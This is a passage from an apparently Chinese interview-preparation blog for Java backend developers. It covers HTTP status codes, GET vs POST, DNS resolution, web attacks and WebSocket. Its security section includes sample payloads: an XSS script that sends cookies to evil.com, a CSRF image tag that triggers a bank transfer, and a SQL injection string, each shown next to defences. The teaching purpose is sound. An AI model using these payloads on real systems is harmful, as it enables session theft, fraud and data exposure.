  • 404 Not Found:资源不存在
  • 405 Method Not Allowed:方法不允许(用POST访问只允许GET的接口)
  • 429 Too Many Requests:请求频率太高,被限流了

5xx(服务端错误)------服务端的锅

  • 500 Internal Server Error:服务端内部错误(代码报了异常)
  • 502 Bad Gateway:网关错误(Nginx连不上后端服务)
  • 503 Service Unavailable:服务不可用(服务宕机或在维护)
  • 504 Gateway Timeout:网关超时(Nginx连上了后端但超时)

实际项目中的使用:

在我的SpringBoot项目里,我们规范了状态码的使用:

java 复制代码
// 创建资源返回201
@PostMapping("/users")
@ResponseStatus(HttpStatus.CREATED)  // 201
public User createUser(@RequestBody User user) {
    return userService.create(user);
}

// 删除成功返回204
@DeleteMapping("/users/{id}")
@ResponseStatus(HttpStatus.NO_CONTENT)  // 204
public void deleteUser(@PathVariable Long id) {
    userService.delete(id);
}

// 全局异常处理,统一返回4xx/5xx
@RestControllerAdvice
public class GlobalExceptionHandler {
    @ExceptionHandler(NotFoundException.class)
    @ResponseStatus(HttpStatus.NOT_FOUND)  // 404
    public ErrorResponse handleNotFound(NotFoundException e) {
        return new ErrorResponse(404, e.getMessage());
    }
    
    @ExceptionHandler(UnauthorizedException.class)
    @ResponseStatus(HttpStatus.UNAUTHORIZED)  // 401
    public ErrorResponse handleUnauthorized(UnauthorizedException e) {
        return new ErrorResponse(401, e.getMessage());
    }
}

💡 301 vs 302 的实际区别:

"SEO很在意这个区别。网站改版URL永久迁移用301,搜索引擎会把旧URL的权重转移到新URL。临时活动页跳转用302,搜索引擎不会转移权重,旧URL还有效。我们项目里的HTTP转HTTPS用301永久重定向,活动页临时跳转用302。"


3.4 GET请求和POST请求有什么区别?

✅ 正确回答思路:

这道题很常见,但很多人只说表面,我给一个有深度的回答:

表面区别(常见回答):

对比项 GET POST
参数位置 URL(查询字符串) 请求体(Body)
安全性 参数暴露在URL中 相对安全(但未加密也能看到)
长度限制 URL有长度限制(浏览器/服务端限制) 理论上无限制
缓存 可以缓存 不缓存
幂等性 幂等 非幂等
书签 可以保存为书签 不可以

深层区别(面试加分):

1. 语义不同(最重要!)

根据HTTP规范:

  • GET:获取资源,不应该改变服务器状态(只读操作)
  • POST:提交数据,会改变服务器状态(写操作)

这不是强制规定,但是HTTP设计规范,遵守这个规范才是RESTful的。

复制代码
✅ 规范的RESTful接口:
GET    /users/1     获取用户
POST   /users       创建用户
PUT    /users/1     更新用户
DELETE /users/1     删除用户

2. GET是幂等的,POST不一定

  • 幂等:多次执行同一操作,结果相同
  • GET /users/1执行多少次都是查询用户1的信息,结果一样(幂等)
  • POST /users执行两次会创建两个用户(非幂等)

这一点对分布式系统的重试机制非常重要!出错了,GET可以安全重试,POST不能随便重试(可能创建重复数据)。

3. GET请求的body问题

HTTP规范并没有禁止GET请求带body,但:

  • 大多数服务器和框架忽略GET请求的body
  • Elasticsearch的查询API是个例外,用GET请求带JSON body做复杂查询
  • 实际开发中不推荐GET带body,语义混乱

4. "GET比POST安全"是误解!

GET参数在URL里,HTTPS下URL也是加密的,实际传输中两者都安全。POST看起来更安全是因为参数不在URL里,不会被记录在浏览器历史记录和服务器日志里,但如果是HTTP(非HTTPS),GET和POST的数据都是明文,都不安全。

5. GET请求会产生两个TCP数据包?

这是个流传很广的说法:GET请求会先发Header,等服务端回100 Continue,再发Body(如果有);POST请求也可能这样。实际上这取决于HTTP客户端的实现,现代浏览器并不这样做,不同客户端行为不一样,不能一概而论。

实际RESTful API设计:

java 复制代码
@RestController
@RequestMapping("/api/users")
public class UserController {
    
    // GET: 查询,幂等,可缓存
    @GetMapping("/{id}")
    public User getUser(@PathVariable Long id) {
        return userService.getById(id);
    }
    
    // POST: 创建,非幂等
    @PostMapping
    public User createUser(@RequestBody UserDTO dto) {
        return userService.create(dto);
    }
    
    // PUT: 全量更新,幂等
    @PutMapping("/{id}")
    public User updateUser(@PathVariable Long id, @RequestBody UserDTO dto) {
        return userService.update(id, dto);
    }
    
    // PATCH: 部分更新,非幂等
    @PatchMapping("/{id}")
    public User patchUser(@PathVariable Long id, @RequestBody Map<String, Object> updates) {
        return userService.patch(id, updates);
    }
    
    // DELETE: 删除,幂等(删除不存在的资源,结果相同)
    @DeleteMapping("/{id}")
    @ResponseStatus(HttpStatus.NO_CONTENT)
    public void deleteUser(@PathVariable Long id) {
        userService.delete(id);
    }
}

📌 四、DNS篇

4.1 DNS是什么?DNS的解析流程是什么?

✅ 正确回答思路:

DNS(Domain Name System)是互联网的"电话簿",负责把域名翻译成IP地址。

为什么需要DNS?

我们记网址用域名(www.baidu.com),但网络通信实际上用IP地址(110.242.68.66)。DNS负责这个翻译工作。

一、DNS解析的完整流程(面试必答):

当你在浏览器输入 www.baidu.com 时:

复制代码
浏览器
  ↓ 1. 检查浏览器DNS缓存
  ↓ 没有命中
本地hosts文件
  ↓ 2. 检查操作系统hosts文件(/etc/hosts 或 C:\Windows\System32\drivers\etc\hosts)
  ↓ 没有命中
本地DNS解析器(操作系统缓存)
  ↓ 3. 检查操作系统DNS缓存
  ↓ 没有命中
本地DNS服务器(LDNS,运营商的DNS)
  ↓ 4. 发送查询到本地DNS服务器(通常是路由器或运营商DNS,如8.8.8.8、114.114.114.114)
  ↓ 没有缓存
根DNS服务器(Root Server)
  ↓ 5. 本地DNS向根服务器查询
  ↓ 根服务器回复:".com"的顶级域服务器地址
顶级域DNS服务器(TLD Server)
  ↓ 6. 本地DNS向.com顶级域服务器查询
  ↓ 回复:"baidu.com"的权威DNS服务器地址
权威DNS服务器(Authoritative Server)
  ↓ 7. 本地DNS向baidu.com的权威DNS服务器查询
  ↓ 回复:"www.baidu.com" = "110.242.68.66"
本地DNS服务器
  ↓ 8. 把结果缓存(TTL时间内)并返回给客户端
浏览器
  ↓ 9. 缓存结果,用IP地址建立TCP连接

两种查询方式:

  • 递归查询:本地DNS服务器帮你查到底,你只管问它要最终答案
  • 迭代查询:本地DNS每次问,得到的是"下一步去哪里问"的提示,自己一步步查

实际上:客户端→本地DNS是递归查询,本地DNS→根服务器/TLD/权威DNS是迭代查询

二、DNS用的是什么协议?

大部分时候用UDP(端口53),因为DNS查询一问一答,数据量小,用TCP太重了。

但当响应数据超过512字节时,会改用TCP(端口53) (比如DNS区域传输)。虽然经典标准是 512 字节,但现在广泛使用的 EDNS (Extension Mechanisms for DNS) 允许 UDP 传输超过 512 字节的数据包(通常可达 4096 字节)。只有当数据依然过大或为了防止 IP 分片被防火墙拦截时,才会切换到 TCP。

三、DNS缓存的作用:

每条DNS记录都有TTL(Time To Live),在TTL期间不需要重复查询,直接用缓存。

TTL设置技巧:

  • 网站稳定,IP不常变:TTL可以设长(比如86400秒=1天)
  • 即将迁移服务器:提前把TTL调短(比如300秒),迁移完再调长

四、DNS劫持和DNS污染:

DNS劫持:有人篡改了你的DNS查询,让你访问假网站(钓鱼网站)。

防护方式

  • 用可信的公共DNS(8.8.8.8/1.1.1.1)
  • 用HTTPS(即使DNS被劫持了,浏览器会验证证书)
  • 用DoH(DNS over HTTPS),把DNS查询也加密

五、Java中的DNS缓存:

java 复制代码
// Java有自己的DNS缓存,默认缓存30秒
// 可以通过JVM参数修改:
// -Dsun.net.inetaddr.ttl=60  修改正向缓存时间
// -Dsun.net.inetaddr.negative.ttl=10  修改负向缓存时间(查询失败的缓存)

// 或者代码中强制刷新
InetAddress.getByName("www.baidu.com");  // 查询并缓存

// 注意:Kubernetes里Pod IP会变,Java的DNS缓存可能导致访问旧IP
// 需要配置较短的TTL或者禁用Java DNS缓存

📌 五、网络安全篇

5.1 常见的网络攻击方式有哪些?如何防御?(Java后端视角)

✅ 正确回答思路:

一、XSS(Cross-Site Scripting,跨站脚本攻击)

攻击原理:攻击者在网页中注入恶意JavaScript脚本,当其他用户访问这个网页时,浏览器执行了恶意脚本。

举例

javascript 复制代码
// 攻击者在评论里写:
<script>document.location='http://evil.com?cookie='+document.cookie</script>

// 如果网站没有过滤,这段脚本会被存入数据库,其他用户看这条评论时
// 浏览器执行脚本,把Cookie发给攻击者网站
// 攻击者就拿到了用户的Cookie,可以伪造登录!

分类

  • 存储型XSS:恶意脚本存在数据库里(最危险)
  • 反射型XSS:恶意脚本在URL里,用户点击恶意链接触发
  • DOM型XSS:纯前端,修改DOM触发

Java后端防御:

java 复制代码
// 1. 对用户输入进行HTML转义(把<变成&lt;)
String safeInput = org.springframework.web.util.HtmlUtils.htmlEscape(userInput);

// 2. 使用Spring Security的XSS过滤
// Spring Security默认在响应头加了:
// X-XSS-Protection: 1; mode=block

// 3. 设置Content-Security-Policy(CSP)响应头
response.setHeader("Content-Security-Policy", 
    "default-src 'self'; script-src 'self'");

二、CSRF(Cross-Site Request Forgery,跨站请求伪造)

攻击原理:用户登录了银行网站(有有效Cookie),然后访问了恶意网站,恶意网站里有一段代码向银行网站发请求,银行网站以为是用户发的(带着Cookie),就执行了操作。

补充细节 :"如果你的 JWT 是存储在 localStorage 中并通过 HTTP Header (Authorization: Bearer ...) 发送的,那么天然免疫 CSRF 攻击 ,因为浏览器不会自动在跨站请求中带上 Header。CSRF 主要针对的是存储在 Cookie 且浏览器自动携带的场景。"

原因:很多初级开发者会误以为用了 JWT 就得防 CSRF,或者用了 Cookie 就一定要关 CSRF,这里理清逻辑非常加分。

html 复制代码
<!-- 恶意网站里的代码 -->
<img src="http://bank.com/transfer?to=hacker&amount=10000">
<!-- 用户浏览器会自动带着bank.com的Cookie发这个请求! -->

Java后端防御:

java 复制代码
// 1. Spring Security的CSRF保护(默认开启)
@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
            .csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
            // 或者禁用CSRF(前后端分离用JWT时可以禁用,因为JWT不在Cookie里)
            // .csrf().disable()
    }
}

// 2. 验证Referer或Origin头
// 3. 使用Token(CSRF Token或JWT),不依赖Cookie传认证信息

三、SQL注入

攻击原理:用户输入包含SQL语句,被拼接到查询中执行。

java 复制代码
// ❌ 危险:字符串拼接SQL
String username = "admin' OR '1'='1";
String sql = "SELECT * FROM user WHERE username = '" + username + "'";
// 拼出来的SQL: SELECT * FROM user WHERE username = 'admin' OR '1'='1'
// OR '1'='1' 永远为真,会查出所有用户!

// ✅ 安全:用PreparedStatement(预编译+参数绑定)
PreparedStatement stmt = conn.prepareStatement(
    "SELECT * FROM user WHERE username = ?"
);
stmt.setString(1, username);  // 参数会被转义,不会当SQL执行

MyBatis中:

xml 复制代码
<!-- ❌ 使用${}(字符串替换,有SQL注入风险) -->
SELECT * FROM user WHERE username = '${username}'

<!-- ✅ 使用#{}(预编译参数,安全) -->
SELECT * FROM user WHERE username = #{username}

四、DDoS攻击(Distributed Denial of Service)

大量机器同时向服务器发请求,耗尽服务器资源,导致正常用户无法访问。

Java后端防御:

java 复制代码
// 1. 限流(Spring Boot + Redis实现)
@RestController
public class ApiController {
    
    @Autowired
    private RateLimiter rateLimiter;  // Google Guava RateLimiter
    
    @GetMapping("/api/data")
    public String getData() {
        if (!rateLimiter.tryAcquire()) {
            throw new TooManyRequestsException("请求太频繁");
        }
        return "data";
    }
}

// 2. 用Sentinel做限流熔断
@SentinelResource(value = "getData", blockHandler = "handleBlock")
@GetMapping("/api/data")
public String getData() {
    return "data";
}

// 3. Nginx限流
// limit_req_zone $binary_remote_addr zone=api:10m rate=10r/s;
// limit_req zone=api burst=20 nodelay;

五、中间人攻击(MITM)

攻击者插入通信双方之间,截获并可能修改通信内容。

防御:用HTTPS(TLS证书验证),确保连接的是真实服务器。


📌 六、长连接与WebSocket篇

6.1 什么是WebSocket?和HTTP有什么区别?使用场景是什么?

✅ 正确回答思路:

一、为什么需要WebSocket?

HTTP的局限 :HTTP是请求-响应模型,客户端主动发请求,服务端才能响应。服务端无法主动推消息给客户端。

需要服务端主动推消息的场景

  • 即时聊天(微信网页版)
  • 实时股票行情
  • 在线游戏
  • 协同文档编辑(多人同时编辑)

传统HTTP的解决方案(都很糟糕):

复制代码
① 短轮询:客户端每隔1秒发一次HTTP请求问"有新消息吗?"
  问题:99%的请求都是空的,浪费资源

② 长轮询:客户端发请求,服务端收到请求后如果没消息,挂起等待,
  有消息了再响应,客户端收到后立刻再发下一个请求
  问题:还是要不断发新请求,连接频繁建立

③ SSE(Server-Sent Events):服务端主动推,但只支持单向(服务端→客户端)

二、WebSocket是什么?

WebSocket是一种在单个TCP连接上进行全双工通信的协议(RFC 6455)。

复制代码
特点:
- 建立连接后,客户端和服务端都可以主动发消息(全双工)
- 低延迟:不需要每次通信都建立新连接
- 轻量头部:数据帧只有2-10字节的头部,远小于HTTP头
- 持久连接:连接建立后一直保持,直到一方主动关闭

三、WebSocket的握手流程:

WebSocket基于HTTP协议升级:

http 复制代码
// 客户端发HTTP请求,要求升级协议
GET /chat HTTP/1.1
Host: www.example.com
Upgrade: websocket        ← 要升级到WebSocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13

// 服务端同意升级
HTTP/1.1 101 Switching Protocols  ← 101状态码
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

// 升级完成!后续不再是HTTP,而是WebSocket帧

四、Java中使用WebSocket(Spring Boot):

java 复制代码
// 服务端:Spring Boot WebSocket
@Configuration
@EnableWebSocketMessageBroker
public class WebSocketConfig implements WebSocketMessageBrokerConfigurer {
    
    @Override
    public void registerStompEndpoints(StompEndpointRegistry registry) {
        // WebSocket端点
        registry.addEndpoint("/ws")
                .setAllowedOriginPatterns("*")
                .withSockJS();  // 降级支持
    }
    
    @Override
    public void configureMessageBroker(MessageBrokerRegistry registry) {
        registry.enableSimpleBroker("/topic", "/queue");
        registry.setApplicationDestinationPrefixes("/app");
    }
}

@Controller
public class ChatController {
    
    @Autowired
    private SimpMessagingTemplate messagingTemplate;
    
    // 处理客户端发来的消息
    @MessageMapping("/chat.send")
    @SendTo("/topic/messages")
    public ChatMessage sendMessage(ChatMessage message) {
        return message;  // 广播给所有订阅了/topic/messages的客户端
    }
    
    // 服务端主动推消息
    public void pushMessage(String userId, String message) {
        messagingTemplate.convertAndSendToUser(userId, "/queue/notifications", message);
    }
}
// 前端:连接WebSocket
const socket = new SockJS('/ws');
const stompClient = Stomp.over(socket);

stompClient.connect({}, function(frame) {
    // 订阅消息
    stompClient.subscribe('/topic/messages', function(msg) {
        console.log('收到消息:', msg.body);
    });
    
    // 发送消息
    stompClient.send('/app/chat.send', {}, JSON.stringify({content: 'Hello!'}));
});

五、HTTP vs WebSocket 对比:

对比项 HTTP WebSocket
通信方式 请求-响应(单向) 全双工(双向)
连接 短连接或长连接复用 持久连接
头部开销 大(几百字节) 小(2-10字节)
服务端推送 不支持(需要轮询) 支持
适用场景 普通API、文件传输 实时通信、游戏、推送

六、实际项目经验:

我们的在线客服系统用了WebSocket + Spring Boot + Redis(消息广播):

java 复制代码
// 用Redis Pub/Sub实现多节点间的消息广播
@Service
public class MessageService {
    
    @Autowired
    private SimpMessagingTemplate messagingTemplate;
    
    @Autowired
    private RedisTemplate redisTemplate;
    
    // 发送消息时,发布到Redis
    public void sendMessage(String roomId, ChatMessage message) {
        redisTemplate.convertAndSend("chat:room:" + roomId, message);
    }
    
    // 订阅Redis消息,广播给WebSocket客户端
    @RedisListener(channels = "chat:room:*")
    public void handleMessage(ChatMessage message, String channel) {
        String roomId = channel.replace("chat:room:", "");
        messagingTemplate.convertAndSend("/topic/room/" + roomId, message);
    }
}

💡 记忆要点:

  • WebSocket解决的是"服务端主动推消息"的问题
  • HTTP升级为WebSocket只需一次握手(101状态码)
  • 全双工、持久连接、低头部开销是三大优势

📌 七、面试回答技巧总结

计算机网络面试的黄金法则

法则1:先总后分,一句话定论

  • 比如问TCP和UDP区别:先说"TCP面向连接、可靠,UDP无连接、不可靠",再详细展开
  • 不要一开始就陷入细节,让面试官等你绕一大圈才知道你答的什么

法则2:结合Java后端实际项目

  • HTTP/HTTPS:讲SpringBoot的SSL配置
  • TCP:讲Netty的粘包拆包
  • DNS:讲K8s里的DNS缓存问题
  • WebSocket:讲Spring WebSocket的实现
  • 这样面试官会觉得你不是纯背理论,是真的用过

法则3:用生活类比降低理解难度

  • 三次握手 = 打电话确认对方能听到
  • 四次挥手 = 分手,双方都要说"再见"
  • DNS = 电话簿,域名→IP就是名字→电话号码

法则4:主动引导追问方向 答完核心问题后,可以说"另外还有一个相关的问题我顺便说一下...",主动展示知识广度,引导面试官往你熟悉的方向问

法则5:不会的不要乱说

  • 计网的知识点很细,有些深层原理不知道很正常
  • 可以说"这个细节我没深入研究过,但我理解的大致原理是..."
  • 比乱说被追问穿帮要好得多

📌 总结:高频考点速查表

考点 关键回答点 高频追问
OSI/TCP-IP 七层vs四层,OSI是理论,TCP/IP是实践 HTTP在哪层?
TCP vs UDP 连接性、可靠性、速度、场景 QUIC是什么?
三次握手 防止历史连接初始化,同步序号 为什么不是两次?
四次挥手 ACK和FIN不同步,TIME_WAIT 2MSL TIME_WAIT大量怎么办?
TCP可靠传输 序号+确认+重传+流量控制+拥塞控制 拥塞控制算法?
粘包拆包 字节流无边界,长度头方案 Netty怎么处理?
HTTP版本 1.1长连接→2多路复用→3基于QUIC 队头阻塞怎么解决?
HTTPS握手 非对称交换密钥+对称加密数据 TLS 1.3改进了什么?
DNS 递归+迭代查询,8步解析流程 DNS用TCP还是UDP?
WebSocket HTTP升级,全双工,101状态码 和长轮询的区别?
常见攻击 XSS/CSRF/SQL注入/DDoS Java后端如何防御?

如果这篇文章帮到了你,收藏起来,面试前一定要反复看!祝你拿到心仪的offer!💪

相关推荐
洛_尘2 小时前
测试6:自动化测试--概念篇(JAVA)
java·开发语言·测试
追随者永远是胜利者2 小时前
(LeetCode-Hot100)39. 组合总和
java·算法·leetcode·职场和发展·go
追随者永远是胜利者2 小时前
(LeetCode-Hot100)34. 在排序数组中查找元素的第一个和最后一个位置
java·算法·leetcode·职场和发展·go
爱凤的小光2 小时前
VisionMaster软件---脚本梳理
java·服务器·网络
Frostnova丶10 小时前
LeetCode 190.颠倒二进制位
java·算法·leetcode
闻哥11 小时前
Redis事务详解
java·数据库·spring boot·redis·缓存·面试
hrhcode11 小时前
【Netty】五.ByteBuf内存管理深度剖析
java·后端·spring·springboot·netty
NEXT0611 小时前
React 性能优化:图片懒加载
前端·react.js·面试